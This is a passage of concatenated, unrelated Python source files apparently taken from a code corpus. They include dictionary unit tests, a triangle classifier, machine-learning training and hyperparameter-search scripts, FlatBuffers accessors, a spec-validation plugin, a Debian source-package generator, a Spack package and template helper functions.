actual.Remove(k)) self.assertEqual(True, expected.Remove(k)) def _clear(self, expected, actual): actual.Clear() expected.Clear() def _checkKeyIsNotPresent(self, dict, k): self.assertEqual(False, dict.Keys.Contains(k)) self.assertEqual(False, dict.ContainsKey(k)) self.assertEqual(False, dict.TryGetValue(k)[0]) self.assertEqual(False, dict.Remove(k)) def _checkDuplicateKeyError(self, dict, k, v): self.assertRaises(System.ArgumentException, dict.Add, k, v) def _compareDictionaries(self, expected, actual): self.assertEqual(expected.Count, actual.Count) self.assertEqual(expected.Keys.Count, actual.Keys.Count) self.assertEqual(expected.Values.Count, actual.Values.Count) for i in expected: self.assertEqual(True, actual.Contains(i)) self.assertEqual(True, actual.ContainsKey(i.Key)) self.assertEqual(True, actual.ContainsValue(i.Value)) self.assertEqual(True, actual.Keys.Contains(i.Key)) self.assertEqual(True, actual.Values.Contains(i.Value)) (f,v) = actual.TryGetValue(i.Key) self.assertEqual(True, f) self.assertEqual(i.Value, v) self.assertEqual(i.Value, actual[i.Key]) for i in actual: self.assertEqual(True, expected.ContainsKey(i.Key)) for k in actual.Keys: self.assertEqual(True, expected.ContainsKey(k)) for v in actual.Values: self.assertEqual(True, expected.Values.Contains(v)) def _doTest(self, expected, actual, keys, values): # Compare empty self._compareDictionaries(expected, actual) # Insert with Add() for k in keys: v = random.choice(values) self._add(expected, actual, k, v) self._compareDictionaries(expected, actual) # Replace with [] # Make sure to try setting every value k = random.choice(keys) for v in values: self._set(expected, actual, k, v) self._compareDictionaries(expected, actual) # Delete key, reinsert with [] k = random.choice(keys) v = random.choice(values) self._checkDuplicateKeyError(actual, k, v) self._remove(expected, actual, k) self._checkKeyIsNotPresent(actual, k) self._compareDictionaries(expected, actual) self._set(expected, actual, k, v) self._compareDictionaries(expected, actual) # for i in actual: # print '%s => %.32s' % (i.Key, i.Value) # Clear self._clear(expected, actual) self._compareDictionaries(expected, actual) def createDictAndTest(self, tkey, tvalue): dict = PersistentDictionary[tkey,tvalue](self._dataDirectory) try: expected = Dictionary[tkey,tvalue]() self._doTest(expected, dict, data[tkey], data[tvalue]) finally: dict.Dispose() class GenericDictionaryFixture(GenericDictionaryFixtureBase): def setUp(self): self._dataDirectory = 'GenericDictionaryFixture' self._deleteDataDirectory() self._dict = None def tearDown(self): self._deleteDataDirectory() def createDictAndTest(self, tkey, tvalue): dict = PersistentDictionary[tkey,tvalue](self._dataDirectory) try: expected = Dictionary[tkey,tvalue]() self._doTest(expected, dict, data[tkey], data[tvalue]) finally: dict.Dispose() class SortedGenericDictionaryFixture(GenericDictionaryFixtureBase): def setUp(self): self._dataDirectory = 'SortedGenericDictionaryFixture' self._deleteDataDirectory() self._dict = None def tearDown(self): self._deleteDataDirectory() def _compareDictionaries(self, expected, actual): super(SortedGenericDictionaryFixture, self)._compareDictionaries(expected, actual) for x,y in zip(expected.Keys, actual.Keys): self.assertEqual(x, y) def createDictAndTest(self, tkey, tvalue): dict = PersistentDictionary[tkey,tvalue](self._dataDirectory) try: expected = SortedDictionary[tkey,tvalue]() self._doTest(expected, dict, data[tkey], data[tvalue]) finally: dict.Dispose() class SortedGenericListFixture(SortedGenericDictionaryFixture): def setUp(self): self._dataDirectory = 'SortedGenericListFixture' self._deleteDataDirectory() self._dict = None def tearDown(self): self._deleteDataDirectory() def createDictAndTest(self, tkey, tvalue): dict = PersistentDictionary[tkey,tvalue](self._dataDirectory) try: expected = SortedList[tkey,tvalue]() self._doTest(expected, dict, data[tkey], data[tvalue]) finally: dict.Dispose() keytypes = [ System.Boolean, System.Byte, System.Int16, System.UInt16, System.Int32, System.UInt32, System.Int64, System.UInt64, System.Single, System.Double, System.DateTime, System.TimeSpan, System.Guid, System.String, ] nullabletypes = [ System.Boolean, System.Byte, System.Int16, System.UInt16, System.Int32, System.UInt32, System.Int64, System.UInt64, System.Single, System.Double, System.DateTime, System.TimeSpan, System.Guid, ] valuetypes = [ System.Boolean, System.Byte, System.Int16, System.UInt16, System.Int32, System.UInt32, System.Int64, System.UInt64, System.Single, System.Double, System.DateTime, System.TimeSpan, System.Guid, System.String, System.Decimal, ] r = System.Random() data = {} data[System.Boolean] = [ True, False] data[System.Byte] = [ 1, 2, System.Byte.MinValue, System.Byte.MaxValue, r.Next(System.Byte.MinValue, System.Byte.MaxValue)] data[System.Int16] = [ 0, 1, -1, System.Int16.MinValue, System.Int16.MaxValue, r.Next(System.Int16.MinValue, System.Int16.MaxValue)] data[System.UInt16] = [ 1, 2, System.UInt16.MinValue, System.UInt16.MaxValue, r.Next(System.UInt16.MinValue, System.UInt16.MaxValue)] data[System.Int32] = [ 0, 1, -1, System.Int32.MinValue, System.Int32.MaxValue, r.Next()] data[System.UInt32] = [ 1, 2, System.UInt32.MinValue, System.UInt32.MaxValue, r.Next(0, System.Int32.MaxValue)] data[System.Int64] = [ 0, 1, -1, System.Int64.MinValue, System.Int64.MaxValue, r.Next()] data[System.UInt64] = [ 1, 2, System.UInt64.MinValue, System.UInt64.MaxValue, r.Next(0, System.Int32.MaxValue)] data[System.Single] = [ 0, 1, -1, System.Single.MinValue, System.Single.MaxValue, r.Next()] data[System.Double] = [ 0, 1, -1, System.Math.PI, System.Double.MinValue, System.Double.MaxValue, r.NextDouble()] data[System.Decimal] = [ System.Decimal.MinValue, System.Decimal.MaxValue, System.Decimal.MinusOne, System.Decimal.Zero, System.Decimal.One, System.Decimal(r.Next()), System.Decimal(r.NextDouble())] data[System.Guid] = [ System.Guid.Empty, System.Guid.NewGuid()] data[System.DateTime] = [ System.DateTime.MinValue, System.DateTime.MaxValue, System.DateTime.Now, System.DateTime.UtcNow, System.DateTime.Today] data[System.TimeSpan] = [ System.TimeSpan.MinValue, System.TimeSpan.MaxValue, System.TimeSpan.FromDays(1), System.TimeSpan.FromHours(1), System.TimeSpan.FromMinutes(1), System.TimeSpan.FromSeconds(1), System.TimeSpan.FromMilliseconds(1), System.TimeSpan.FromTicks(1), System.TimeSpan(r.Next())] data[System.String] = [ System.String.Empty, '1', '`', 'foo', 'bar', 'baz', 'space', 'space ', 'case', 'CASE', 'punctuation', 'punctuation!', r.Next().ToString(), r.NextDouble().ToString(), System.Guid.NewGuid.ToString(), System.DateTime.Now.ToString(), '#'*65000] # Use this to create a unique closure for tkey and tvalue def makef(tkey, tvalue): return lambda self : self.createDictAndTest(tkey, tvalue) # Make nullable data, which is the non-nullable data + None for t in nullabletypes: data[System.Nullable[t]] = list(data[t]) data[System.Nullable[t]].append(None) valuetypes.append(System.Nullable[t]) # Create the test functions for tkey in keytypes: for tvalue in valuetypes: name = 'test%s%s' % (tkey, tvalue) setattr(GenericDictionaryFixture, name, makef(tkey, tvalue)) setattr(SortedGenericDictionaryFixture, name, makef(tkey, tvalue)) setattr(SortedGenericListFixture, name, makef(tkey, tvalue)) if __name__ == '__main__': unittest.main()
py
1a4cc8139c7cfafabbdd2cf0580c0729787fb706
from loader import dp from .album_handler import AlbumMiddleware if __name__ == "middlewares": dp.middleware.setup(AlbumMiddleware())
py
1a4cc89709d32ee497df72450b83a914ac98fdc1
valores = input().split() valores = list(map(float,valores)) A,B,C = sorted(valores)[::-1] continua = True if(A >= B+C): print("NAO FORMA TRIANGULO") continua = False if(A**2 == (B**2) + (C**2) and continua): print("TRIANGULO RETANGULO") if(A**2 > (B**2) + (C**2) and continua): print("TRIANGULO OBTUSANGULO") if(A**2 < (B**2) + (C**2) and continua): print("TRIANGULO ACUTANGULO") if(A == B and B == C and continua): print("TRIANGULO EQUILATERO") if((A == B or B == C) and not (A == B and B == C) and continua): print("TRIANGULO ISOSCELES")
py
1a4cc90c9444665ad3b7aa04143ee9e5035968fa
from .meek_moe import * from .post_stats_log import * from .privacy_vote import * from .var import *
py
1a4ccbb7e92ba98c15b4f5ff7208c2ec67a48517
# -*- coding: utf-8 -*- """ Created on Thu Nov 23 17:38:24 2017 @author: Phoebe """ import os import time import numpy as np import pandas as pd # Download and install the Python COCO tools from https://github.com/waleedka/coco # That's a fork from the original https://github.com/pdollar/coco with a bug # fix for Python 3. # I submitted a pull request https://github.com/cocodataset/cocoapi/pull/50 # If the PR is merged then use the original repo. # Note: Edit PythonAPI/Makefile and replace "python" with "python3". #from pycocotools import mask as maskUtils #%% debugfile('ild.py', args='train --dataset=E:\lung_data --model=imagenet', wdir=r'C:\Users\Phoebe Chen\Desktop\CNNNNN\Mask_RCNN-master') #%% from config import Config import utils import model as modellib ROOT_DIR = 'C:\\Users\\Phoebe Chen\\Desktop\\CNNNNN\\Mask_RCNN-master' # Path to trained weights file COCO_MODEL_PATH = os.path.join(ROOT_DIR, "mask_rcnn_coco.h5") # Directory to save logs and model checkpoints, if not provided # through the command line argument --logs DEFAULT_LOGS_DIR = os.path.join(ROOT_DIR, "logs") class InferenceConfig(ILDConfig): # Set batch size to 1 since we'll be running inference on # one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU GPU_COUNT = 1 IMAGES_PER_GPU = 1 config = InferenceConfig() model = modellib.MaskRCNN(mode="training", config=config, model_dir=DEFAULT_LOGS_DIR) model_path='C:\\Users\\Phoebe Chen\\Desktop\\CNNNNN\\Mask_RCNN-master\\mask_rcnn_coco.h5' model.load_weights(model_path, by_name=True) #%% dataset='E:\lung_data' dataset_train = ILDDataset() dataset_train.load_ILD(dataset, "train") #dataset_train.prepare() # Validation dataset dataset_val = ILDDataset() dataset_train.load_ILD(dataset, "val") #dataset_val.prepare() #%% print("Training network heads") model.train(dataset_train, dataset_val, learning_rate=config.LEARNING_RATE, epochs=40, layers='heads')
py
1a4ccbfa7fce33ef60af5d9338ed1ab7425d6147
# -*- coding: utf-8 -*- """ Created on Thu Jul 22 22:51:13 2021 @author: liujinli """ import pandas as pd import numpy as np from sklearn.metrics import mean_squared_error,r2_score from lightgbm import LGBMRegressor from xgboost import XGBRegressor from sklearn.ensemble import RandomForestRegressor,AdaBoostRegressor from matplotlib import pyplot as plt from sklearn.linear_model import Lasso,Ridge,ElasticNet from sklearn.svm import SVR from tqdm import tqdm import os import random import warnings from mpl_toolkits.mplot3d import Axes3D from sklearn.utils import shuffle warnings.filterwarnings("ignore") def seed_everything(seed=555): random.seed(seed) np.random.seed(seed) os.environ['PYTHONHASHSEED'] = str(seed) # torch.manual_seed(seed) # torch.backends.cudnn.deterministic = True seed_everything() df = pd.read_csv('清洗_2018Spring.csv') df = shuffle(df) train_df = df[:-14] valid_df = df[-14:] # print(train_df) # print(valid_df) train_y = train_df.pop('TN') train_x = train_df.values valid_y = valid_df.pop('TN') valid_x = valid_df.values lgb = LGBMRegressor() lgb.fit(train_x,train_y) pred = lgb.predict(valid_x) # print('score:', mean_squared_error(valid_y,pred)) # xgb = XGBRegressor() # xgb.fit(train_x,train_y) # pred = xgb.predict(valid_x) # print('score:', mean_squared_error(valid_y,pred)) rf = RandomForestRegressor() rf.fit(train_x,train_y) pred = rf.predict(valid_x) # print('score:', mean_squared_error(valid_y,pred)) f, ax = plt.subplots(figsize=(7, 5)) ax.bar(range(len(rf.feature_importances_)),rf.feature_importances_) ax.set_title("Feature Importances") f.show() # print(len(train_df.columns)) # print(len(rf.feature_importances_)) df_show = pd.DataFrame({'f_name':train_df.columns,'importance':rf.feature_importances_}) # print(df_show.sort_values('importance',ascending=False)) df_show = df_show.sort_values('importance',ascending=False)['f_name'].values best_mse = 100 best_fnum = 4 plt.show() plt.close() df_show = pd.DataFrame({'f_name':train_df.columns,'importance':rf.feature_importances_}) # print(df_show.sort_values('importance',ascending=False)) df_show = df_show.sort_values('importance',ascending=True) plt.show() f, ax = plt.subplots(figsize=(15, 20)) print(df_show['importance'].values) ax.barh(df_show['f_name'],df_show['importance'].values) ax.set_title("Feature Importances") f.show() plt.show() df_show = df_show.sort_values('importance',ascending=False)['f_name'].values mse=[];r2=[] for i in range(4,60): choose_feature = df_show[:i] train_x = train_df[choose_feature].values valid_x = valid_df[choose_feature].values lgb = LGBMRegressor() lgb.fit(train_x,train_y) lgb_pred = lgb.predict(valid_x) # rf = RandomForestRegressor() # rf = ElasticNet() # rf.fit(train_x,train_y) # rf_pred = rf.predict(valid_x) pred = lgb_pred mse.append( mean_squared_error(valid_y,pred)) r2.append(r2_score(valid_y,pred)) # print(f'n_num:{i},score:{mse}') if(best_mse > mean_squared_error(valid_y,pred)): best_mse = mean_squared_error(valid_y,pred) best_fnum = i print(f'best f_num:{best_fnum}, best mse:{best_mse}') plt.plot(range(4,60), mse) plt.title('feature performance') plt.xlabel('feature number') plt.ylabel('mse') plt.show() plt.close() plt.plot(range(4,60), r2) plt.title('feature performance') plt.xlabel('feature number') plt.ylabel('r2') plt.show() plt.close() choose_feature = df_show[:best_fnum] train_x = train_df[choose_feature].values valid_x = valid_df[choose_feature].values #min_child_samples=10,reg_alpha=0.03,reg_lambda=0 alpha=[];lamda=[];mse_loss=[];r2_loss=[] for i in [0, 0.001, 0.01, 0.03, 0.08, 0.3, 0.5]: for j in [0, 0.001, 0.01, 0.03, 0.08, 0.3, 0.5]: lgb = LGBMRegressor(min_child_samples=10,reg_alpha=i,reg_lambda=j) lgb.fit(train_x,train_y) alpha.append(i) lamda.append(j) pred = lgb.predict(valid_x) # model = AdaBoostRegressor(lgb,n_estimators=i) # model.fit(train_x,train_y) # pred = model.predict(valid_x) mse = mean_squared_error(valid_y,pred) mse_loss.append(mse) r2 = r2_score(valid_y,pred) r2_loss.append(r2) #print(f'min_child_samples:{i},min_child_weights:{j},mse_score:{mse},r2_score:{r2}') # print(df_show) param_grid =[ {'max_depth':range(3,12), 'min_child_weight':range(4,32,4), 'reg_alpha':[x/100 for x in range(1,51,2)], 'reg_lambda':[x/100 for x in range(1,51,2)], } ] model = LGBMRegressor() from sklearn.model_selection import GridSearchCV print('grid search begin') grid_search = GridSearchCV(model,param_grid,scoring='neg_mean_squared_error') grid_search.fit(train_x,train_y) print(f'best score:{grid_search.best_score_},best param:{grid_search.best_params_}') def get_pic(model_name,show_name): print(f'---------------{model_name} best params is searching-------------') if(model_name=='lgb'): u = [x/100 for x in range(1,51)] v = [x/100 for x in range(1,51)] elif(model_name == 'lasso'): u = [x/100 for x in range(1,51)] v = [x/1000000 for x in range(1,51)] elif(model_name=='svr'): u = [x for x in range(1,51)] v = [x/100000 for x in range(1,51)] elif(model_name=='xgboost'): u = [x/100 for x in range(1,51)] v = [x/100 for x in range(1,51)] u, v = np.meshgrid(u, v) print(u.shape,v.shape) best_mse_i, best_mse_j, best_mse, best_r2 = 0, 0, 1000, 0 z = np.zeros_like(u) z2=np.zeros_like(u) print(z.shape) for i in tqdm(range(len(u))): for j in range(len(u[i])): if(model_name=='lgb'): model = LGBMRegressor(min_child_samples=10,reg_alpha=u[i][j],reg_lambda=v[i][j]) elif(model_name=='lasso'): model = Lasso(alpha=u[i][j],tol=v[i][j]) elif(model_name =='svr'): model = SVR(C=u[i][j],tol=v[i][j]) elif(model_name=='xgboost'): model=XGBRegressor(max_depth=2,min_child_weight=28,reg_alpha=u[i][j],reg_lambda=v[i][j]) model.fit(train_x,train_y) pred = model.predict(valid_x) # model = AdaBoostRegressor(lgb,n_estimators=i) # model.fit(train_x,train_y) # pred = model.predict(valid_x) mse = mean_squared_error(valid_y,pred) r2=r2_score(valid_y,pred) z[i][j] = mse z2[i][j]=r2 if(best_mse > mse): best_mse = mse best_mse_i = i best_mse_j = j best_r2 = r2 print('---------------------------------------') # plt.figure() # ax = Axes3D(fig) plt.ion() fig = plt.figure(figsize=(10,8)) ax = fig.add_subplot(111, projection='3d') ax.set_title(model_name) if(model_name=='lgb'): ax.set_xlabel('alpha') ax.set_ylabel('lambda') print(f'reg_alpha={u[best_mse_i][best_mse_j]},reg_lambda={v[best_mse_i][best_mse_j]},best mse:{best_mse},best r2:{best_r2}') elif(model_name=='lasso'): ax.set_xlabel('alpha') ax.set_ylabel('tol') print(f'alpha={u[best_mse_i][best_mse_j]},tol={v[best_mse_i][best_mse_j]},best mse:{best_mse},best r2:{best_r2}') elif(model_name =='svr'): ax.set_xlabel('C') ax.set_ylabel('tol') print(f'C={u[best_mse_i][best_mse_j]},tol={v[best_mse_i][best_mse_j]},best mse:{best_mse},best r2:{best_r2}') elif(model_name =='xgboost'): ax.set_xlabel('reg_alpha') ax.set_ylabel('reg_lambda') print(f'reg_alpha={u[best_mse_i][best_mse_j]},reg_lambda={v[best_mse_i][best_mse_j]},best mse:{best_mse},best r2:{best_r2}') if(show_name == 'mse'): ax.set_zlabel('mse') surf=ax.plot_surface(u, v, z, cmap='jet') fig.colorbar(surf, shrink=0.4, aspect=6) plt.show() else: ax.set_zlabel('r2') surf=ax.plot_surface(u, v, z2, cmap='jet') fig.colorbar(surf, shrink=0.4, aspect=6) plt.show() # ax.close() ax.cla() plt.cla() plt.close('all') get_pic('lgb','mse') get_pic('lasso','mse') get_pic('xgboost','mse') get_pic('svr','mse') get_pic('lgb','r2') get_pic('lasso','r2') get_pic('xgboost','r2') get_pic('svr','r2') z=[];z2=[] def get_2dpic(model_name,show_name): plt.title(model_name) z=[];z2=[] if(model_name=='lgb'): u = [x/100 for x in range(1,51)] v = [x/100 for x in range(1,51)] elif(model_name == 'lasso'): u = [x/100 for x in range(1,51)] v = [x/1000000 for x in range(1,51)] elif(model_name=='svr'): u = [x for x in range(1,51)] v = [x/100000 for x in range(1,51)] elif(model_name=='xgboost'): u = [x/100 for x in range(1,51)] v = [x/100 for x in range(1,51)] best_mse_i, best_mse_j, best_mse, best_r2 = 0, 0, 1000, 0 if show_name=='mse': plt.ylabel('mse') for i in u: if(model_name=='lgb'): model = LGBMRegressor(min_child_samples=10,reg_alpha=i) plt.xlabel('reg_alpha') elif(model_name=='lasso'): model = Lasso(alpha=i) plt.xlabel('alpha') elif(model_name =='svr'): model = SVR(C=i) plt.xlabel('c') elif(model_name=='xgboost'): plt.xlabel('reg_alpha') model=XGBRegressor(max_depth=2,min_child_weight=28,reg_alpha=i) model.fit(train_x,train_y) pred = model.predict(valid_x) mse = mean_squared_error(valid_y,pred) r2=r2_score(valid_y,pred) z.append(mse) z2.append(r2) plt.plot(u,z) min_indx=np.argmin(z) plt.plot(u[min_indx],z[min_indx],'ks') show_max='['+str(np.round((u[min_indx]),2))+' '+str(np.round((z[min_indx]),3))+']' plt.annotate(show_max,xytext=(u[min_indx],z[min_indx]),xy=(u[min_indx],z[min_indx])) plt.show() plt.close() elif show_name=='r2': plt.ylabel('r2') for j in v: if(model_name=='lgb'): model = LGBMRegressor(min_child_samples=10,reg_lambda=j) plt.xlabel('reg_lambda') elif(model_name=='lasso'): model = Lasso(tol=j) plt.xlabel('tol') elif(model_name =='svr'): model = SVR(tol=j) plt.xlabel('tol') elif(model_name=='xgboost'): model=XGBRegressor(max_depth=2,min_child_weight=28,reg_lambda=j) plt.xlabel('reg_lambda') model.fit(train_x,train_y) pred = model.predict(valid_x) mse = mean_squared_error(valid_y,pred) r2=r2_score(valid_y,pred) z.append( mse) z2.append(r2) plt.plot(v,z2) max_indx=np.argmax(z2) plt.plot(v[max_indx],z2[max_indx],'ks') show_max='['+str(np.round(v[max_indx],2))+' '+str(np.round(z2[max_indx],3))+']' plt.annotate(show_max,xytext=(v[max_indx],z2[max_indx]),xy=(v[max_indx],z2[max_indx])) plt.show() plt.close() get_2dpic('lgb','mse') get_2dpic('lasso','mse') get_2dpic('xgboost','mse') get_2dpic('svr','mse') get_2dpic('lgb','r2') get_2dpic('lasso','r2') get_2dpic('xgboost','r2') get_2dpic('svr','r2') # plt.figure() # ax = Axes3D(fig) # ax.plot_surface(u,v,z2,cmap='jet') # plt.show() model = LGBMRegressor(min_child_samples=10) model.fit(train_x,train_y) def get_pred(model,test_df): test_x = test_df[choose_feature].values test_pred = model.predict(test_x) return test_pred test_df = pd.read_csv('201809.csv') get_pred(model,test_df)
py
1a4cccc1417191aed57c8b022a09dfbc3edce57a
"""AaC Plugin implementation module for the aac-spec plugin.""" # NOTE: It is safe to edit this file. # This file is only initially generated by the aac gen-plugin, and it won't be overwritten if the file already exists. from aac import parser, util from aac.plugins import PluginError from aac.plugins.plugin_execution import PluginExecutionResult, plugin_result from aac.validator import validation plugin_name = "specification" def spec_validate(architecture_file: str) -> PluginExecutionResult: """ Validate spec traces within the AaC model. Args: architecture_file (str): The file to validate for spec cross-references. """ def validate(): with validation(parser.parse_file, architecture_file) as result: is_valid, validation_errors = _run_spec_validation(result.model) if is_valid: return f"Spec in {architecture_file} is valid" errors = "\n".join(validation_errors) raise SpecValidationError(f"Spec in {architecture_file} is invalid:\n{errors}") with plugin_result(plugin_name, validate) as result: return result def _run_spec_validation(parsed_model: dict): is_valid = True validation_errors = [] # go through the parsed model to find requirement references requirement_refs = {} for model_name in parsed_model: refs = [] refs.extend( util.search(parsed_model[model_name], ["spec", "requirements", "parent", "ids"]) ) refs.extend( util.search(parsed_model[model_name], ["model", "behavior", "requirements", "ids"]) ) refs.extend(util.search(parsed_model[model_name], ["data", "requirements", "ids"])) if refs: requirement_refs[model_name] = refs specs = util.get_models_by_type(parsed_model, "spec") requirements_by_id = _collect_ids_from_specs(specs) # ensure all req_refs are present in the referenced location for model_name, id_references in requirement_refs.items(): # Check the refs exists defined_requirement_ids = list(requirements_by_id.keys()) for requirement_id in id_references: if requirement_id not in defined_requirement_ids: is_valid = False validation_errors.append( f"Invalid requirement id '{requirement_id}' reference in '{model_name}': {defined_requirement_ids}" ) return is_valid, validation_errors def _collect_ids_from_specs(specs: list[dict]) -> dict: """Return all ids and their definitions as a key-value pair with the id being the key.""" requirements_by_id = {} for spec in specs.values(): spec_definition = spec.get("spec") spec_requirements = spec_definition.get("requirements") or [] spec_sections = spec_definition.get("sections") or [] for requirement in spec_requirements: requirements_by_id[requirement.get("id")] = requirement for section in spec_sections: section_requirements = section.get("requirements") for section_requirement in section_requirements: requirements_by_id[section_requirement.get("id")] = section_requirement return requirements_by_id class SpecValidationError(PluginError): """An error related to spec validation.""" pass
py
1a4ccd7637069487efba0f6ffd6e75e783cc144e
import asyncio import shutil import subprocess from pathlib import Path from typing import Any, List from jinja2 import Environment, PackageLoader from . import logger from .exceptions import FetchError, GenerateError, GenerateScriptError from .fetcher import fetch from .parser import Blueprint _environment = Environment(loader=PackageLoader("ops2deb", "templates")) def _format_command_output(output: str) -> str: lines = output.splitlines() output = "\n ".join([line for line in lines]) return "> " + output class SourcePackage: def __init__(self, blueprint: Blueprint, work_directory: Path): self.directory_name = f"{blueprint.name}_{blueprint.version}_{blueprint.arch}" self.output_directory = (work_directory / self.directory_name).absolute() self.debian_directory = self.output_directory / "debian" self.src_directory = self.output_directory / "src" self.tmp_directory = Path(f"/tmp/ops2deb_{self.directory_name}") self.debian_version = f"{blueprint.version}-{blueprint.revision}~ops2deb" self.blueprint = blueprint.render(self.src_directory) def render_tpl(self, template_name: str) -> None: template = _environment.get_template(f"{template_name}.j2") package = self.blueprint.dict(exclude={"fetch", "script"}) package.update({"version": self.debian_version}) template.stream(package=package).dump(str(self.debian_directory / template_name)) def init(self) -> None: shutil.rmtree(self.debian_directory, ignore_errors=True) self.debian_directory.mkdir(parents=True) shutil.rmtree(self.tmp_directory, ignore_errors=True) self.tmp_directory.mkdir() shutil.rmtree(self.src_directory, ignore_errors=True) self.src_directory.mkdir(parents=True) for path in ["usr/bin", "usr/share", "usr/lib"]: (self.src_directory / path).mkdir(parents=True) async def fetch(self) -> "SourcePackage": if (remote_file := self.blueprint.fetch) is not None: await fetch( url=remote_file.url, expected_hash=remote_file.sha256, save_path=self.tmp_directory, ) return self def generate(self) -> None: logger.title(f"Generating source package {self.directory_name}...") # run script for line in self.blueprint.script: logger.info(f"$ {line}") result = subprocess.run( line, shell=True, cwd=self.tmp_directory, capture_output=True ) if stdout := result.stdout.decode(): logger.info(_format_command_output(stdout)) if stderr := result.stderr.decode(): logger.error(_format_command_output(stderr)) if result.returncode: raise GenerateScriptError # render debian/* files for template in [ "changelog", "control", "rules", "compat", "install", "lintian-overrides", ]: self.render_tpl(template) def generate(blueprints: List[Blueprint], work_directory: Path) -> None: packages = [SourcePackage(b, work_directory) for b in blueprints] # make sure we generate source packages in a clean environment # without artifacts from previous builds for package in packages: package.init() # run fetch instructions (download, verify, extract) in parallel file_count = sum([1 for b in blueprints if b.fetch is not None]) logger.title(f"Fetching {file_count} files...") async def fetch_all() -> Any: return await asyncio.gather( *[p.fetch() for p in packages], return_exceptions=True ) results = asyncio.run(fetch_all()) errors = [e for e in results if isinstance(e, Exception)] for error in errors: if not isinstance(error, FetchError): raise error # run scripts, build debian/* files packages = [p for p in results if isinstance(p, SourcePackage)] for package in packages: package.generate() if errors: raise GenerateError(f"{len(errors)} failures occurred")
py
1a4ccddc3e5882866710b808ebc05b2b0815aefe
# Copyright 2013-2018 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class PyBottleneck(PythonPackage): """A collection of fast NumPy array functions written in Cython.""" homepage = "https://pypi.python.org/pypi/Bottleneck/1.0.0" url = "https://pypi.io/packages/source/B/Bottleneck/Bottleneck-1.0.0.tar.gz" version('1.2.1', sha256='6efcde5f830aed64feafca0359b51db0e184c72af8ba6675b4a99f263922eb36') version('1.0.0', '380fa6f275bd24f27e7cf0e0d752f5d2') depends_on('py-setuptools', type='build') depends_on('py-numpy', type=('build', 'run'))
py
1a4cce76e91a241a2d64f621d24a1531e8fc863b
# automatically generated by the FlatBuffers compiler, do not modify # namespace: FBOutput import tdw.flatbuffers class Collision(object): __slots__ = ['_tab'] @classmethod def GetRootAsCollision(cls, buf, offset): n = tdw.flatbuffers.encode.Get(tdw.flatbuffers.packer.uoffset, buf, offset) x = Collision() x.Init(buf, n + offset) return x # Collision def Init(self, buf, pos): self._tab = tdw.flatbuffers.table.Table(buf, pos) # Collision def ColliderId(self): o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(4)) if o != 0: return self._tab.Get(tdw.flatbuffers.number_types.Int32Flags, o + self._tab.Pos) return 0 # Collision def CollideeId(self): o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(6)) if o != 0: return self._tab.Get(tdw.flatbuffers.number_types.Int32Flags, o + self._tab.Pos) return 0 # Collision def RelativeVelocity(self): o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(8)) if o != 0: x = o + self._tab.Pos from .Vector3 import Vector3 obj = Vector3() obj.Init(self._tab.Bytes, x) return obj return None # Collision def State(self): o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(10)) if o != 0: return self._tab.Get(tdw.flatbuffers.number_types.Uint8Flags, o + self._tab.Pos) return 1 # Collision def Contacts(self, j): o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(12)) if o != 0: x = self._tab.Vector(o) x += tdw.flatbuffers.number_types.UOffsetTFlags.py_type(j) * 24 from .ContactPoint import ContactPoint obj = ContactPoint() obj.Init(self._tab.Bytes, x) return obj return None # Collision def ContactsLength(self): o = tdw.flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(12)) if o != 0: return self._tab.VectorLen(o) return 0 def CollisionStart(builder): builder.StartObject(5) def CollisionAddColliderId(builder, colliderId): builder.PrependInt32Slot(0, colliderId, 0) def CollisionAddCollideeId(builder, collideeId): builder.PrependInt32Slot(1, collideeId, 0) def CollisionAddRelativeVelocity(builder, relativeVelocity): builder.PrependStructSlot(2, tdw.flatbuffers.number_types.UOffsetTFlags.py_type(relativeVelocity), 0) def CollisionAddState(builder, state): builder.PrependUint8Slot(3, state, 1) def CollisionAddContacts(builder, contacts): builder.PrependUOffsetTRelativeSlot(4, tdw.flatbuffers.number_types.UOffsetTFlags.py_type(contacts), 0) def CollisionStartContactsVector(builder, numElems): return builder.StartVector(24, numElems, 4) def CollisionEnd(builder): return builder.EndObject()
py
1a4ccec786d1b9b6906b0f182f0ea343e1d80928
''' Exercício Python 101: Crie um programa que tenha uma função chamada voto() que vai receber como parâmetro o ano de nascimento de uma pessoa, retornando um valor literal indicando se uma pessoa tem voto NEGADO, OPCIONAL e OBRIGATÓRIO nas eleições. ''' def voto(ano): from datetime import date print('-='* 15) id = date.today().year - ano if id < 16: return f'Com {id} anos: NÃO VOTA!' elif 16 <= id < 18 or id > 65: return f'Com {id} anos: VOTO OPCIONAL!' else: return f'Com {id} anos: VOTO OBRIGATÓRIO!' nasc = int(input('Em que ano você nasceu? ')) print(voto(nasc))
py
1a4cceeb942e5cc12e4a4c4bcb08a303cd1172cb
"""Environment to render templates""" import json from pathlib import Path from sys import executable from diot import Diot, OrderedDiot from pyppl.template import DEFAULT_ENVS __all__ = [] def rimport(*paths): rimport_rfunc = f""" if (!exists('..rimport..') || !is.function(..rimport..)) {{ reticulate::use_python({executable!r}, required = TRUE) ..bioprocs.. = reticulate::import('bioprocs') ..rimport.. = function(...) {{ for (rfile in list(...)) {{ source(file.path(..bioprocs..$HERE, 'utils', rfile)) }} }} }} """ pathstr = ', '.join(f'{path!r}' for path in ((str(path) for path in paths))) return f""" {rimport_rfunc} ..rimport..({pathstr}) """ def bashimport(*paths): bashimport_bashfunc = f""" type __bashimport__ 1>&2 2>/dev/null if [ $? -ne 0 ]; then __python__={executable!r} __bioprocsdir__=$(exec $__python__ -c 'import bioprocs; print(bioprocs.HERE)') function __bashimport__() {{ for src in "$@"; do source $__bioprocsdir__/utils/$src done }} fi """ pathstr = ' '.join(f'{path!r}' for path in ((str(path) for path in paths))) return f""" {bashimport_bashfunc} __bashimport__ {pathstr} """ def read(var): """Read the contents from a file""" with open(var) as fvar: return fvar.read() def readlines(var, skip_empty_lines = True): """Read the lines from a file""" ret = [] with open(var) as fvar: for line in fvar: line = line.rstrip('\n\r') if not line and 